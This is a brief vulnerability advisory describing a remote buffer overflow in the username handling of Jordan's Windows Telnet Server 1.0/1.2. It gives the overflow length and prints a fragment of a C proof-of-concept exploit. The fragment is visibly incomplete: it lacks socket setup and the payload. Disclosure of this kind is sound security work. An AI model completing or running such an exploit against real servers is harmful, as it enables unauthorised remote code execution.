Windows Telnet Server (Wtsd) "is a small commercial telnet server written by Jordan Stojanovski". A buffer overflow vulnerability in the product allows remote attackers to cause the product to execute arbitrary code.
Credit:
The information has been provided by Luigi Auriemma.
Vulnerable systems:
* Jordan's Telnet Server version 1.0
* Jordan's Telnet Server version 1.2
The bug is a remote buffer-overflow in the client's login procedure. Practically a username of 518 bytes fully overwrites the return address of the vulnerable function. The problem happens in the unchecked copy of the buffer containing the string received from the socket to the new smaller buffer:
int main(int argc, char *argv[]) {
u_char *buff;
struct sockaddr_in peer;
int sd,
err;
u_short port = PORT;
setbuf(stdout, NULL);
fputs("\n"
"Jordan's Windows Telnet Server 1.2 remote buffer-overflow "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@altervista.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\nUsage: %s <server> [port(%d)]\n"
"\n"
"The return address will be overwritten with the value 0x%08x\n"
"\n", argv[0], PORT, RETADD);
exit(1);
}
printf("\n"
"Connecting to %s:%hu...",
inet_ntoa(peer.sin_addr), port);
err = connect(sd, (struct sockaddr *)&peer, sizeof(peer));
if(err < 0) std_err();
fputs("ok and now sending the big string\n\n", stdout);